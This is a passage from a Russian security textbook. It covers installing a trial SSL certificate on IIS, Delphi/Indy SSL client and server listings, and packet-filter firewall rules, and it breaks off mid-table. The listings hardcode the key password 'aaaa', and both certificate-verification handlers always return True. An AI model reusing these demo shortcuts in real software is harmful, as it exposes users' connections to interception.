Для Web-системы, как и для любой другой клиент-серверной системы, можно указать несколько режимов работы SSL:

1) с аутентификацией сервера; 2) с аутентификацией клиента; 3) со взаимной аутентификацией; 4) без аутентификации (в анонимном режиме). Случаи 2, 3 и 4 на практике встречаются редко, поэтому в дан-

ном пособии рассматриваться не будут. Для обеспечения возможности установки безопасных соедине-

ний с использованием протокола SSL прежде всего необходимо по-лучить SSL-сертификат и установить его на Web-сервер.


97

Получение и установка временного тестового SSL-сертификата

Для получения сертификата надо обратиться в компанию, яв-ляющуюся доверенным источником сертификатов с запросом на получение сертификата. В запросе указываются необходимые атри-буты: информация о лице или фирме, которой требуется сертификат, предполагаемый срок действия сертификата и т.д. После этого источ-ник сертификатов проверяет полученную информацию о клиенте и выдает сертификат. Данная процедура достаточно сложна и дорога, поэтому большинство поставщиков сертификатов предоставляют клиентам возможность получить бесплатный временный SSL-сертификат, который можно использовать в отладочных целях. Та-кую возможность, в частности, предоставляет компания VeriSign.

Для получения тестового сертификата надо посетить Web-сайт этой компании www.verisign.com и вызвать ссылку SSL Trial ID на главной странице (рис.6.3).

Рис. 6.3

После этого появится диалог, сообщающий, что начинается про-смотр страниц через безопасное соединение. По нажатию «ОК» от-крывается страница с формой запроса информации о клиенте. Дан-ную форму необходимо заполнить и нажать кнопку «Submit».

На следующей странице будет предложено ознакомиться с неко-торой информацией, которую полезно знать перед установкой серти-фиката: поддерживаемые типы Web-серверов, рекомендации по на-


http://www.verisign.com/�

98

стройкам прокси-серверов, часто задаваемые вопросы, лицензионное соглашение.

После нажатия кнопки «Continue» произойдет переход к сле-дующему шагу получения сертификата. Открывшаяся страница пред-ставляет собой стартовую страницу мастера получения и установки SSL-сертификата. На ней выведен полный список всех последующих действий, которые необходимо проделать, чтобы получить времен-ный тестовый сертификат (всего шесть шагов). Переход от одного шага к другому происходит по нажатию кнопки «Continue».

Шаг 1. Ввод контактной информации

В открывшемся окне нужно ввести контактную информацию. Вводимые данные нужны для связи с клиентом в процессе получения и использования им тестового сертификата. Шаг 2. Определение серверной платформы и формирование за-проса на SSL-сертификат На этом шаге сначала надо указать серверную платформу, для ко торой будет создан сертификат (в поле «Select Server Platform» вы-брать Microsoft), и версию программы Web-сервера (в поле «Select Version» выбрать IIS5) (рис. 6.4).

Рис. 6.4


99

После этого необходимо сформировать запрос на сертификат и скопировать его в мемо-поле «Paste Certificate Signing Request (CSR), obtained from your server:».

Для создания запроса на сертификат необходимо зайти в панель управления, двойным щелчком открыть папку «Администрирова-ние», а затем запустить программу «Диспетчер Служб Интернета». Появится окно, представленное на рисунке 6.5.

Рис. 6.5

Это окно оснастки Web-сервера IIS. В древовидном списке слева

надо выбрать элемент «Веб-узел по умолчанию», открыть по правой кнопке мыши контекстное меню и в нем выбрать пункт «Свойства». В появившемся окне надо открыть вкладку «Безопасность каталога» и нажать кнопку «Сертификат». В результате отобразится окно мас-тера сертификатов. По нажатию кнопки «Далее» будет предложен выбор ряда возможных действий. Для продолжения необходимо от-метить пункт «Создание нового сертификата» и нажать «Далее». В следующем окне будет предоставлено на выбор два пункта:

• «Подготовить запрос сейчас, чтобы отправить его позже»; • «Немедленно отправить запрос в локальную службу серти-

фикации». Второй пункт доступен только в том случае, когда в локальной

сети настроена внутренняя служба сертификации. Поэтому для про-должения надо выбрать первый пункт.

Далее вводятся параметры сертификата: имя сертификата, длина ключа шифрования, название организации и подразделение, домен-ное имя Web-узла, для которого будет использован сертификат, стра-на, область, город. На последней странице мастера сертификатов необходимо ввести название файла запроса на сертификат. После этого запрос будет сформирован и сохранен в этом файле.

Осталось выделить текст файла, скопировать его и вставить в поле «Paste Certificate Signing Request (CSR), obtained from your


100

server:» на Web-странице ввода запроса на сертификат. По очередно-му нажатию «Continue» запрос будет отправлен в базу данных ком-пании VeriSign.

На следующей странице, возможно, будет выведено предупреж-дение об использовании ненадежного 128-битного ключа шифрова-ния. Поскольку сертификат предполагается использовать для учеб-ных целей, можно не обращать внимания на это сообщение и перехо-дить к следующему шагу.

Шаг 3. Проверка запроса и ввод ключевой фразы В открывшемся окне необходимо ввести ключевую фразу и от-

вет на нее. Ответ на ключевую фразу затем будет использоваться как пароль в том случае, если клиент захочет обновить или отозвать свой сертификат. В этом окне также отображается информация, хранящая-ся в запросе на сертификат, после проверки которой можно перехо-дить к следующему шагу.

Шаг 4. Подтверждение и подписка На данном шаге производится окончательное подтверждение

всех предыдущих действий. В окне отображаются данные из запроса на сертификат, контактная информация и лицензионное соглашение по использованию сертификата. По нажатию кнопки «Accept» произ-водится подписка на сертификат. Введенный ранее запрос будет об-работан, на его основе сформируется SSL-сертификат, который затем будет выслан клиенту по электронной почте.

Шаг 5. Установка тестового корневого доверенного источ-

ника сертификатов Установки на сервере SSL-сертификата недостаточно для орга-

низации защищенного взаимодействия в Web-системе. Необходимо также, чтобы Web-браузер (или другое клиентское приложение) до-верял источнику сертификатов. Поэтому источник (в данном случае компания VeriSign) должен быть внесен в список корневых доверен-ных источников сертификатов.

Для этого необходимо сначала получить сертификат корневого доверенного источника сертификатов. В электронном письме с вре-менным тестовым сертификатом (полученном после завершения шага 4) имеется ссылка на страницу, по которой можно получить этот сертификат и ознакомиться с инструкциями по его установке.


101

В Web-браузере Internet Explorer надо выбрать Сервис->Свойства обозревателя->Содержание->Сертификаты, а в появив-шемся окне открыть страницу «Доверенные корневые центры серти-фикации» (рис. 6.6). Теперь по нажатию кнопки «Импорт» можно установить полученный сертификат доверенного источника.

Рис. 6.6

Шаг 6. Инсталляция временного SSL-сертификата После завершения всех предыдущих шагов остается лишь уста-

новить сертификат, полученный в электронном письме. Это письмо имеет тему VeriSign Trial SSL Certificate.

В конце этого письма содержится текст сертификата, кото-рый имеет следующий формат:

-----BEGIN CERTIFICATE----- MIIC4zCCAo2gAwIBAgIQD/RZTGrXPlCCms2GWn5fbjANBgkqhkiG9w0BAQUFADCB


102

qTEWMBQGA1UEChMNVmVyaVNpZ24sIEluYzFHMEUGA1UECxM+d3d3LnZlcmlzaWduLmNvbS9yZXBvc2l0b3J5L1Rlc3RDUFMgSW5jb3JwLiBCeSBSZWYuIExpYWIuIExURC4xRjBEBgNVBAsTPUZvciBWZXJpU2lnbiBhdXRob3JpemVkIHRlc3Rpbmcgb25s eS4gTm8gYXNzdXJhbmNlcyAoQylWUzE5OTcwHhcNMDQwNzAxMDAwMDAwWhcNMDQwNzE1MjM1OTU5WjBnMQswCQYDVQQGEwJSVTESMBAGA1UECBMJWWFyb3NsYXZsMRMwEQYDVQQHFApZYXJvc2FsYXZsMQ8wDQYDVQQKFAZJTUlSQU4xDTALBgNVBAsUBHJvb20xDzANBgNVBAMUBnNlcmdlMTBcMA0GCSqGSIb3DQEBAQUAA0sAMEgCQQDRqnszeeAsRCTeb/8EcnWjHuUlYr+X10X9QuGbbPDOlIq+IpM0erkMrMH9USMkO0mniyPPDMNhhwlsaR7CVmV7AgMBAAGjgdEwgc4wCQYDVR0TBAIwADALBgNVHQ8EBAMCBaAwQgYDVR0fBDswOTA3oDWgM4YxaHR0cDovL2NybC52ZXJpc2lnbi5jb20vU2VjdXJlU2VydmVyVGVzdGluZ0NBLmNybDBRBgNVHSAESjBIMEYGCmCGSAGG+EUBBxUwODA2BggrBgEFBQcCARYqaHR0cDovL3d3dy52ZXJpc2lnbi5jb20vcmVwb3NpdG9yeS9UZXN0Q1BTMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjANBgkqhkiG9w0BAQUFAANBAI7WwgdcSXDq23dKblAYDk8iiYAk4xC6UsqZKrDPlM6wjxYUCQ2ivb5aPGTI3nNW/AkwP2jmIM4hYiSLudq2zJY= -----END CERTIFICATE-----

Сертификат необходимо сохранить в отдельном файле с расши-рением .cer.

Теперь можно начать процесс установки сертификата. Для этого необходимо вновь запустить мастер сертификатов. В процессе уста-новки мастеру должен быть доступен и файл соответствующего за-проса на сертификат. При работе с мастером вначале необходимо выбрать пункт «Обработать отложенный запрос и установить серти-фикат». Затем надо указать полное имя файла сертификата. В конце диалога с мастером отобразится форма подтверждения установки. По нажатию кнопки «Далее» сертификат будет установлен.

Тестирование сертификата Для доступа к защищенному ресурсу надо открыть Web-браузер

и ввести полный адрес страницы по умолчанию. Однако, вместо «обычного» http необходимо прописать https (например https://somepage). При этом соединение будет установлено не по 80-му порту, а по порту 443, который используется для обмена данными в защищенном режиме. Далее происходит этап инициализации сеанса SSL, как было описано в предыдущих разделах. При этом пользова-тель может получить от браузера сообщение о начале просмотра страниц через безопасное соединение.

Далее работа с браузером происходит в обычном режиме. Поль-зователь просматривает страницы или пересылает свои данные на Web-узел так, как если бы он работал с обычным (незащищенным)


103

Web-ресурсом. Однако теперь все пересылаемые данные автоматиче-ски поступают на вход протокола записи SSL и оказываются в итоге недоступными для просмотра и изменения третьей стороной.

6.3. Разработка независимого SSL-приложения Протокол SSL можно использовать не только в широко распро-

страненных приложениях известных компаний, но и в собственных независимых разработках с использованием соответствующих средств высокоуровневого программирования.

В данном пособии для этих целей будет использоваться бесплат-но распространяемый пакет компонент для Delphi – Indy Internet Components. Этот пакет входит в штатную поставку Delphi 6 и Delphi 7. Для ранних версий Delphi этот пакет можно получить через Inter-net, обратившись на сайт компании Indy.

Средства пакета Indy Internet Components Основу пакета Indy составляют компоненты, реализующие кли-

ентскую и серверную функциональность различных протоколов при-кладного уровня. Взаимодействия по многим из них могут быть за-щищены с помощью SSL. Чтобы не вставлять реализации SSL в ка-ждый из таких компонентов и обеспечить возможность использования других версий SSL или даже других протоколов защи-ты, используется следующий подход. Все подобные компоненты на-следуют от базового класса свойство IOHandler. У клиентских ком-понент оно имеет тип TidIOHandler, у серверных – TidServerIO-Handler.

Свойство IOHandler может либо иметь значение nil, либо указы-вать на объект соответствующего типа. В пакет Indy входит набор компонент, унаследованных от TidIOHandler и TidServerIOHandler, которые по свойству IOHandler могут быть связаны с компонентами, реализующими протокольные взаимодействия. Эти компоненты представляют собой так называемые обработчики ввода-вывода. Об-ращение к ним происходит непосредственно перед отправкой данных или после их получения. Обработчик ввода-вывода некоторым обра-зом модифицирует подготовленные данные, а затем возвращает их вызвавшему его компоненту. Таким образом, по существу IOHandler реализует дополнительный протокол, находящийся на стеке между уровнем приложения и уровнем TCP. Такой подход обеспечивает прозрачность «протокольных» компонент для приложения и позволя-


104

ет подключать различные обработчики без необходимости сущест-венной модификации программы.

Очевидно, что максимальное удобство использования обработ-чиков ввода-вывода достигается при необходимости упаковывать или шифровать передаваемые данные.

Компоненты TidServerIOHandlerSSL, TidSSLIOhandlerSocket представляют собой серверные и клиентские обработчики, предна-значенные для организации защиты передаваемых по сети данных на основе протокола SSL. Для использования эти компоненты необхо-димо настроить и связать с компонентами, реализующими протокол верхнего уровня по свойству IOHandler. Для настройки обработчиков как минимум требуется заполнить три текстовых поля CertFile, Key-File, RootCertFile, входящих в свойство SSLOptions соответствующе-го обработчика ввода-вывода. Поле CertFile определяет путь к файлу сертификата, KeyFile – путь к файлу, хранящему соответствующий сертификату секретный ключ, RootCertFile – путь к файлу, храняще-му сертификат доверенного корневого источника сертификатов. Под-ходящие файлы можно найти, в частности, в архиве с демонстраци-онными программами к пакету компонент Indy: WSCert.pem – серти-фикат, WSKey.pem – секретный ключ, Cacert.crt – сертификат доверенного источника. Их также можно создать на основе сертифи-ката, полученного ранее от доверенного источника. Инструкции по тому, как это сделать, можно найти на Web-сайте http://www.intelicom.si.

Программная реализация защищенного HTTP-взаимодействия

Ниже обсуждаются вопросы разработки приложения, которое осуществляет HTTP-взаимодействие, защищенное по протоколу SSL. Данное приложение будет состоять из двух частей: клиентской и серверной. Клиент формирует и отправляет на сервер HTTP-запрос. Сервер возвращает клиенту простую HTML-страницу. Для аутенти-фикации сервера и защиты потока данных между клиентом и серве-ром используется SSL.

Серверная часть приложения Для создания серверного приложения в среде Delphi необходимо

к форме добавить несколько компонент (рис. 6.7). Кнопки «Старт» и «Стоп» используются для остановки и запуска

сервера. Флажок «Использовать SSL» определяет режим работы сер-


http://www.intelicom.si/�

105

вера. Если флажок не установлен, сервер работает в незащищенном режиме по протоколу HTTP и порту 80. При установленном флажке сервер работает в безопасном режиме по протоколу HTTPS и порту 443. Мемо-поле предназначено для отображения лога. Компонент TidServerIOHandlerSSL представляет собой обработчик ввода вывода, обеспечивающий защиту данных по протоколу SSL. Его поля CertFile и KeyFile необходимо заполнить так, как было опи-сано выше. Поле RootCertFile заполнять не обязательно, поскольку аутентификация клиента проводиться не будет. Необходимо также в поле Method установить версию протокола (sslvSSLv23), а в поле Mode ука зать сторону, для которой проводится аутентификация. В данном случае такой стороной выступает сервер, поэтому в этом поле выставляется значение sslmServer.

Рис. 6.7

Компонент TidHttpServer представляет собой реализацию HTTP-сервера. Он по свойству IOHandler связывается с компонентом TidServerIOHandlerSSL.

В листинге 6.1 представлен полный код основного модуля прог-раммы. Назначение большинства используемых методов очевидно, по-этому подробно будут рассмотрены только наиболее важные из них.

Метод TForm1.IdHTTPServer1CommandGet вызывается при получении запроса GET. В нем генерируется текст HTML-страницы, которая передается клиенту. В случае, когда обмен дан-ными идет через незащищенное соединение, текст можно перехва-тить программой, прослушивающей сеть.


106

Метод TForm1.IdServerIOHandlerSSL1GetPassword используется для того, чтобы указать пароль, который будет исполь-зован для расшифровки файла, содержащего секретный ключ серти-фиката (WSKey.pem). Секретный ключ хранится в зашифрованном виде, так как является критически важным элементом всей системы защиты. Если злоумышленник каким-то образом получит файл с сек-ретным ключом, он не сможет извлечь ключ, не зная пароля. Для ис-пользования секретного ключа в программе необходимо его предва-рительно расшифровать.

Метод TForm1.IdServerIOHandlerSSL1VerifyPeer ис-пользуется для дополнительной проверки сертификата, предостав-ляемого противоположной стороной. В данном примере дополни-тельной проверки не требуется, поэтому в коде этого метода добав-ляются сообщения в лог и возвращается значение True.

Листинг 6.1 unit Unit1; interface uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdServerIOHandler,IdSSLOpenSSL, IdHTTPServ-er, IdBaseComponent, IdComponent, IdTCPServer, IdCustomHTTPServer, StdCtrls;

type TForm1 = class(TForm) LogMemo: TMemo; StartBtn: TButton; StopBtn: TButton; SSLChkBox: TCheckBox; IdHTTPServer1: TIdHTTPServer; IdServerIOHandlerSSL1: TIdServerIOHandlerSSL; // Обработка нжатия кнопки «Старт» Procedure StartBtnClick(Sender: TObject); // Обработка нажатия кнопки «Стоп» Procedure StopBtnClick(Sender: TObject); // Обработчик события соединения с клиентом Procedure IdHTTPServer1Connect(AThread:


107

TIdPeerThread); // Обработчик события разъединения с клиентом Procedure IdHTTPServer1Disconnect(

AThread:TIdPeerThread); // Вызывается при получении HTTP запроса GET

Procedure IdHTTPServer1CommandGet(AThread: TIdPeerThread;

ARequestInfo: TIdHTTPRequestIn-fo; AResponseInfo:

TIdHTTPResponseInfo); // Получить пароль для расшифровки // файла секретного ключа Procedure IdServerIOHan-dlerSSL1GetPassword(

var Password: String); // Обработчик изменения состояния сервера // Используется для отображения лога

procedure IdHTTPServer1Status(ASender: TObject;

const AStatus: TIdStatus; const AStatusText: String);

// Используется для отображения лога procedure IdServerIOHandlerSSL1StatusInfo(

Msg: String); // Верификация клиента Function IdServerIOHandlerSSL1VerifyPeer( Certificate: TIdX509): Boolean; // Состояние текущего соединения // Используется для отображения лога Procedure IdServerIOHandlerSSL1Status(

ASender: TObject; const AStatus: TIdStatus;

const AStatusText: String); end; var Form1: TForm1; implementation


108

{$R *.dfm} procedure TForm1.StartBtnClick(Sender: TObject); begin SSLChkBox.Enabled:=false; // Если SSL используется if SSLChkBox.Checked then begin with IdHTTPServer1 do begin DefaultPort:=443; // Порт HTTPS // Подключение компонента, реализующего

// протокол SSL IOHandler:=IdServerIOHandlerSSL1; end; end else begin with IdHTTPServer1 do begin DefaultPort:=80; // Порт HTTP IOHandler:=nil; // Обработчика нет end; end; IdHTTPServer1.Active:=true; LogMemo.Lines.Add('Start'); end; procedure TForm1.StopBtnClick(Sender: TObject); begin IdHTTPServer1.Active:=false; SSLChkBox.Enabled:=true; LogMemo.Lines.Add('Stop'); end; procedure TForm1.IdHTTPServer1Connect(

AThread:TIdPeerThread); begin LogMemo.Lines.Add('Connect'); end;


109

procedure TForm1.IdHTTPServer1Disconnect( AThread:TidPeerThread);

begin LogMemo.Lines.Add('Disconnect'); end; procedure TForm1.IdHTTPServer1CommandGet(

AThread:TIdPeerThread;ARequestInfo: TIdHTTPRequestInfo; AResponseInfo: TIdHTTPResponseInfo);

begin LogMemo.Lines.Add('GET'); // Сформировать содержимое ответа with AResponseInfo do begin

ContentText:='<HTML><HEAD><TITLE>Hello! </TITLE></HEAD><BODY>'; ContentText:=ContentText+ ARequestInfo.RemoteIP+'<BR>'; if SSLChkBox.Checked then

ContentText:=ContentText+'Use SSL'; ContentText:=ContentText+'</BODY></HTML>';

end; end; procedure TForm1.IdServerIOHandlerSSL1GetPassword(

var Password: String); begin

Password:='aaaa'; LogMemo.Lines.Add('SSL: Get Password');

end; procedure TForm1.IdHTTPServer1Status(

ASender: TObject; const AStatus: TIdStatus;

const AStatusText: String); begin

LogMemo.Lines.Add( 'HTTP Status: '+AStatusText);

end;


110

procedure TForm1.IdServerIOHandlerSSL1StatusInfo(

Msg: String); begin

LogMemo.Lines.Add(Msg); end; function TForm1.IdServerIOHandlerSSL1VerifyPeer(

Certificate: TIdX509): Boolean; begin

LogMemo.Lines.Add('Verify!'); LogMemo.Lines.Add( 'Subject='+Certificate.Subject.OneLine); LogMemo.Lines.Add( 'Issuer='+Certificate.Issuer.OneLine); Result:=true;

end; procedure TForm1.IdServerIOHandlerSSL1Status(

ASender: TObject; const AStatus: TIdStatus; const AStatusText: String);

begin LogMemo.Lines.Add(AStatusText+'('+ inttostr(ord(AStatus))+')');

end; end.

Клиентская часть приложения На рисунке 6.8 представлена главная форма программы, реали-

зующей клиентскую часть приложения.


111

Рис. 6.8

На форме предусмотрено мемо-поле для отображения лога и флажок для выбора режима работы программы (с защитой по прото-колу SSL или без таковой). В верхней части формы располагается поле ввода текста и кнопка «Пуск». В текстовое поле вводится IP-адрес компьютера, на котором установлена и запущена программа сервера. При нажатии на кнопку «Пуск» будет отправлен HTTP-запрос по указанному адресу. Независимо от режима работы прило-жения, если запрос прошел удачно и сервер вернул ответ, в мемо-поле отобразится текст HTML-страницы, подготовленный сервером.

Компоненты типа TidHTTP и TidSSLIOHandlerSocket (по анало-гии с компонентами серверной части) реализуют поддержку HTTP-клиента и протокола SSL соответственно. В компоненте TidSSLIO-HandlerSocket необходимо установить значение свойства Mode рав-ным sslmClient, свойства Method – sslvSSLv23, а в свойстве Root-CertFile прописать путь к файлу сертификата корневого доверенного источника (CAcert.pem). Далее через свойство IOHandler связываются компоненты типа TidHTTP и TidSSLIOHandlerSocket.

Полный текст главного модуля программы-клиента приведен ниже в листинге 6.2.

Листинг 6.2 unit Unit1; interface uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs,


112

IdIOHandler, IdIOHandlerSocket, IdSSLO-penSSL,

IdBaseComponent,IdComponent, IdTCPConnec-tion,

IdTCPClient, IdHTTP, StdCtrls, IdIntercept, IdLogBase, IdLogFile, IdAntiFreezeBase, IdAntiFreeze;

type TForm1 = class(TForm) URLEdit: TEdit; LogMemo: TMemo; GoBtn: TButton; SSLChkBox: TCheckBox; IdHTTP1: TIdHTTP; IdSSLIOHandlerSocket1: TIdSSLIOHandlerSocket; IdAntiFreeze1: TIdAntiFreeze; // Обработчик нажатия кнопки «Пуск» Procedure GoBtnClick(Sender: TObject); // Вызывается при получении HTTP запроса GET Procedure IdSSLIOHandlerSocket1StatusInfo(

Msg:String); // Вызывается при необходимости получить па-роль // для расшифровки файла секретного ключа Procedure IdSSLIOHandlerSocket1GetPassword(

var Password:String); // Верификация клиента function IdSSLIOHandlerSocket1VerifyPeer(

Certificate: TIdX509): Boolean; // Состояние текущего соединения // Используется для отображения лога Procedure IdHTTP1Status(ASender: TObject;

const AStatus: TIdStatus; const AStatusText: String);

end; var Form1: TForm1; implementation


113

{$R *.dfm} procedure TForm1.GoBtnClick(Sender: TObject); begin // Если SSL используется if SSLChkBox.Checked then begin IdHTTP1.Port:=443; // Порт HTTPS // Подключение компонента, реализующего // протокол SSL IdHTTP1.IOHandler:=IdSSLIOHandlerSocket1; end else begin IdHTTP1.Port:=80; // Порт HTTP IdHTTP1.IOHandler:=nil; // Обработчика нет end; // Отправить запрос на сервер, получить ответ и // отобразить его LogMemo.Lines.Add(IdHTTP1.Get(URLEdit.Text)); end; procedure TForm1.IdSSLIOHandlerSocket1StatusInfo(

Msg:String); begin LogMemo.Lines.Add(msg); end; procedure TForm1.IdSSLIOHandlerSocket1GetPassword(

var Password: String); begin LogMemo.Lines.Add('Get Password'); Password:='aaaa'; end; function TForm1.IdSSLIOHandlerSocket1VerifyPeer(

Certificate: TIdX509): Boolean; begin


114

Рис. 6.9 LogMemo.Lines.Add('Verify!'); LogMemo.Lines.Add('Subject = '+Certificate.Subject.OneLine); LogMemo.Lines.Add('Issuer = '+Certificate.Issuer.OneLine); result:=True; end; procedure TForm1.IdHTTP1Status(ASender: TObject; const AStatus: TIdStatus; const AStatusText: String); begin


115

LogMemo.Lines.Add('HTTP: '+AStatusText); end; end.

Как уже отмечалось выше, для проверки работы приложения не-обходимо установить приложение-сервер и приложение-клиент на два раз-

личных компьютера, подключенных к сети. Затем необходимо за-пустить сервер нажатием кнопки «Пуск». После этого в текстовое поле клиента надо занести URL сервера с указанием используемо-го протокола (например, https://someserver) и нажать кнопку «Пуск» (рис. 6.9).

В результате будет сформирован и отправлен на сервер за-прос. Если при этом установлен флажок «Использовать SSL» в серверной и клиентской программах, то для защиты данных будут задействованы средства протокола SSL, что в свою очередь ото-бразиться в логе клиента.

Конечно же, обе программы можно устанавливать и на одном компьютере. В этом случае приложение-клиент будет работать в локальном режиме. Тем не менее, с точки зрения протокольных взаимодействий существенной разницы между локальным и уда-ленным режимами нет.

Вопросы к разделу 6 1. Какие базовые сервисы защиты взаимодействий обеспечива-

ет протокол SSL? 2. Какие уровни модели открытого взаимодействия охватывают

средства протокола SSL? 3. Опишите состав и назначение протоколов в архитектуре SSL. 4. Какие компоненты Indy включают защиту данных по прото-

колу SSL в приложениях пользователя, разрабатываемых в среде Delphi?

5. Опишите место и назначение доверительных центров серти-фикации в общей схеме организации взаимодействия по про-токолу SSL.

6. В чем заключается масштабируемость метода аутентифика-ции на основе сертификатов?


https://someserver/�

116

7. МЕЖСЕТЕВЫЕ ЭКРАНЫ НА ОСНОВЕ ПАКЕТНОЙ ФИЛЬТРАЦИИ

7.1. Принципы функционирования пакетных фильтров

Межсетевые экраны на основе пакетной фильтрации работают на третьем (сетевом) уровне модели OSI и именуются, как отмеча-лось выше в главе 2, экранирующими маршрутизаторами, фильт-рующими маршрутизаторами, пакетными фильтрами.

Функционирование пакетного фильтра основано на анализе за-головков IP-пакетов. Подобно обычному маршрутизатору, опреде-ляющему последующий путь каждого входящего пакета на основе правил маршрутизации, пакетный фильтр на основе некоторого на-бора правил фильтрации принимает решение о дальнейшем продви-жении IP-пакета: передавать пакет адресату или отбросить его. Как правило, пакетный фильтр настраивается таким образом, чтобы фильтровать пакеты, проходящие в обоих направлениях – как извне во внутреннюю сеть, так и из внутренней сети во внешнюю.

Пакетный фильтр обычно представляется в виде списка правил фильтрации, которые основываются на анализе значений полей в за-головках сетевого (IP) и транспортного (TCP или UDP) уровней, включая IP-адреса источника и адресата, поле IP-протокола, задаю-щего транспортный протокол, а также номер порта TCP или UDP, определяющего приложение (например, SNMP, SMTP и т.п.). Если обнаруживается соответствие значений этих полей одному из правил, то дальнейшее продвижение пакета определяется из того, какое дей-ствие в отношении пакета предусмотрено данным правилом. Если в качестве действия по пакету назначено «разрешить», то пакетный фильтр его пропускает. Если же назначено действие «отбросить», то пакет отвергается и дальше не пропускается.

В случае, когда данные из пакета не соответствуют ни одному из правил, применяется так называемое «правило по умолчанию». Это правило распространяется на все пакеты, в отношении которых дей-ствия не описаны в правилах фильтрации. Реализация «правила по умолчанию» базируется на одном из следующих двух принципов:

1) запрещено все, что не разрешено; 2) разрешено все, что не запрещено. Очевидно, что первая политика соответствует довольно консер-

вативному подходу, поскольку изначально все оказывается запре-


117

щенным. В рамках такой политики для пользователя экран выступает как препятствие. Вторая политика является лояльной по отношению к пользователям, но она обеспечивает более низкий уровень защиты, поскольку предполагает устранение проблем после обнаружения уг-розы безопасности.

Обычно рекомендуется, чтобы установленные правила фильтра-ции применялись в определенном порядке, который закрепляется, например, при конфигурировании межсетевого экрана. В противном случае могут возникнуть некоторые проблемы, связанные с наруше-нием общего ожидаемого результата фильтрации [16,17]. Это позво-ляет представить экранирующий маршрутизатор в виде функцио-нальной схемы, показанной на рис.7.1.

Отброшенные пакеты

П . . .нет нетП П

да да да

Д Д Д

нет

Р Р Р

О О О

Входнойпоток

пакетов

Выходнойпоток

пакетовРазрешенные пакеты

1 2 к

1 2 к

Рис. 7.1

На этом рисунке в виде блока Пi представлены действия по про-верке пакета на соответствие i-му правилу фильтрации. В случае со-ответствия выполняется действие Дi, определяемое этим правилом: Р – разрешить, О – отбросить. В противном случае происходит пере-ход на проверку соответствия пакета правилу Пi+1. Таким образом, пакет проходит по порядку правила до тех пор, пока не находит не-обходимое правило. Если такого правила нет, то применяется «пра-вило по умолчанию». На рис. 7.1 отражено применение этого правила в виде – «запрещено все, что не разрешено».

Для описания правил прохождения пакетов составляются табли-цы, в которых определяется целый ряд полей: направление, адрес


118

источника, адрес приемника, тип пакета, флаги, порт источника, порт приемника, действие.

Поле «Направление» – указывает направление пакета: «входя-щий» – из внешней сети во внутреннюю, «исходящий» – из внутрен-ней сети во внешнюю.

Поля «Адрес источника» и «Адрес приемника» содержат, соот-ветственно, IP-адрес отправителя и получателя пакета.

Поле «Тип пакета» определяет протокол данных содержащихся в IP пакете (например, TCP, UDP, ICMP).

Флаги определяются в соответствии с заголовком IP-пакета. Поля "Порт источника" и "Порт приемника" имеют смысл толь-

ко для TCP- и UDP- пакетов. Поле "Действие" определяет действия брандмауэра в случае сов-

падения условий. В зависимости от значения поля («разрешить» или «отбросить») брандмауэр может пропустить пакет или отклонить его.

Многие брандмауэры с пакетной фильтрацией обеспечивают комбинирование разрешающих и запрещающих правил фильтрации. Например, разрешающее правило выделяет некое множество пакетов. Следующее за ним запрещающее правило может определять в этом множестве подмножество запрещенных адресов подобно операции логического вычитания. Подобные операции позволяют упростить составление правил, делая списки более короткими, однако требуют от разработчика большого внимания и точного оперирования мето-дами математической логики.

7.2. Пакетная фильтрация по адресам и сервисам Существует две формы фильтрации пакетов: фильтрация по ад-

ресам и фильтрация по сервисам. Первая форма позволяет ограни-чить поток данных, основываясь лишь на адресах отправителя и по-лучателя пакетов без анализа используемых протоколов. Вторая форма основывается на том, что для определенных сервисов закреп-лены стандартом определенные порты.

Для фильтрации по адресам достаточно знать лишь направление пакета и адреса отправителя и получателя пакета. Такая фильтрация позволяет разрешать/запрещать взаимодействие определенных ком-пьютеров (хостов) внутренней и внешней сетей. Фильтрация по ад-ресам позволяет выделить во внешней сети две группы. Первая груп-па – безопасная, содержит в себе адреса хостов, которые не несут опасности для защищаемой сети и которым позволено обращение к


119

определенным хостам внутри сети. В такую группу могут входить адреса машин работающих удаленно сотрудников, клиентов компа-нии, филиалов. Вторая группа является опасной для защищаемой сети и содержит адреса хостов, с которых уже проводились попытки атаковать либо контактирование с которыми нежелательно для ком-пании (так называемый «черный список»). Все адреса, не попавшие изначально ни в одну из групп, определяются «правилом по умолча-нию» и в зависимости от сетевой политики безопасности могут, на-пример, автоматически относиться к опасной группе (если действует правило «запрещено все, что не разрешено»). Точно так же можно разграничить доступ из внутренней сети к внешней.

Еще одной возможностью фильтрации по адресам является за-щита от фальсификации адресов, когда злоумышленник маскирует свои пакеты как отправленные внутри защищаемой сети. Для защиты от подобных атак достаточно запретить все входящие пакеты, содер-жащие в поле отправителя адрес из внутренней сети. В этом случае можно использовать следующее правило П:

Правило Направление Адрес

отправителя Адрес

получателя Действие

П Входящий Внутренний Любой Отбросить Фильтрация по сервисам является более совершенной техноло-

гией и требует анализа не только заголовков IP-пакетов, но и заго-ловков TCP/UDP-пакетов. Фильтрация по сервисам позволяет раз-граничить доступ не только к определенным хостам, но и к опреде-ленным сервисам на этих хостах. Такая фильтрация основана на том, что все стандартные сервисы в TCP/IP ассоциируются с определен-ными номерами портов. Так, для доступа к серверу по сервису Telnet используется порт 23, за HTTP стандартно закреплен порт 80, за FTP – порт 21, за SMTP – порт 25. Тем самым, например, путем запрета на брандмауэре всех входящих пакетов с некоторым портом назначения можно запретить обращения из внешней сети к соответствующему сервису внутренней сети.

В связи с этим можно рассмотреть следующий пример: разреше-ние входящей и исходящей электронной почты, работающей по про-токолу SMTP (порт 25 протокола TCP) – и ничего больше. Для на-стройки экранирующего маршрутизатора можно применить следую-щий набор правил, представленный в виде таблицы 7.1.


120

Правила А и В таблицы разрешают входящую электронную поч-ту. Правила C и D разрешают исходящую электронную почту. Пра-вило Е отражает применение «правила по умолчанию» - «запрещено все, что не разрешено».

При составлении этой таблицы принято во внимание соглашение о том, что TCP-порты с номерами от 0 до 1023 обычно зарезервиро-ваны для привилегированного использования (в частности для серве-ров, которые запускаются операционной системой как привиле-гированные пользователи), тогда как порты клиентских компьютеров выступают в сети с номерами TCP-портов, большими, чем 1023. Таблица 7.1 Прави-

ло Направ- ление

Адрес отправи-

теля

Адрес получа-

теля Прото-

кол Порт

получа- теля

Действие

A Вход Внешний Внутрен- ний TCP 25 Разре-

шить B Выход Внутрен-

ний Внешний TCP >1023 Разре-шить

C Выход Внутрен-ний Внешний TCP 25 Разре-

